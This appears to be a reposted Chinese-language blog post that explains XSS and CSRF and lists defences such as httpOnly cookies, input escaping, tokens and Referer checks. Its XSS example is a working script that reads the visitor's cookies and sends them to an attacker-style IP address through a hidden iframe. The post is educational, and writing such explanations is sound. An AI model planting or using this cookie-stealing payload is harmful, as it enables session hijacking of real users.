谈谈XSS&CSRF
Posted CSandCatti
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了谈谈XSS&CSRF相关的知识,希望对你有一定的参考价值。
XSS
Cross site scripting,全称“跨站脚本”
特点是不对服务器造成任何伤害,而是通过一些正常的站内交互途径,例如发布评论时,提交含有js的内容文本,而服务器没有过滤掉或者转义掉这些脚本,作为内容发布到页面上,那么其他用户在访问的时候就会运行这些脚本。
for example:
// 用 <script type="text/javascript"></script> 包起来放在评论中
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "http://192.168.123.123/myxss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隐藏 iframe 用于通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 开工
document.body.appendChild(hideFrame);
})(window, document);
防范方法:
httpOnly 设置cookie能否通过js来访问,拥有httpOnly的cookie只能被服务器访问,客户端不能访问,可以用来防止XSS脚本攻击;
对输入进行过滤或转义。
CSRF
Cross-site request forgery,全称“跨站请求伪造”;
可以理解为伪造请求,冒充用户在站内的正常操作;
一个CSRF攻击需要两个条件:
登录了一个受信任的网站A,并且本地存放了cookie;
在不关闭A的情况下,访问了危险网站B。
攻击原理
当网页发起http请求的时候,浏览器首先会检查是否有对应域名的cookie,如果有,就会自动添加到request header中,发送给服务器;
绝大多数网站是通过cookie等方式来辨识用户身份;
for example:
Web A为存在CSRF漏洞的网站,Web B为攻击者构建的恶意网站,User C为Web A网站的合法用户。
用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。
我们知道cookie是不能跨域的,那Web B是怎么把用户的在Web A的cookie发送出去的呢?
假设攻击者构造的是一个自动提交表单的页面,攻击者虽然无法获知 cookie ,在Web B返回的自动提交表单页面将表单的 action 指向 Web A ,表单提交的 POST 请求就会带上用户在 Web A里的 cookie。
还有就是<a>
标签和image
标签(GET型的CSRF的攻击手段),浏览器都会自动带上cookie。
防范:
使用验证码;token(令牌);
验证 HTTP Referer 字段。
结语
以上就是关于csrf和xss攻击的小小总结,关于两种攻击的防范方法写的不是很全,有兴趣,可以上网看一下~理解了原理,对于防范方法的理解会容易很多。再附上两个参考链接:
https://www.jianshu.com/p/78f65023cf9d
http://adoyle.me/blog/how-csrf-works.html
以上是关于谈谈XSS&CSRF的主要内容,如果未能解决你的问题,请参考以下文章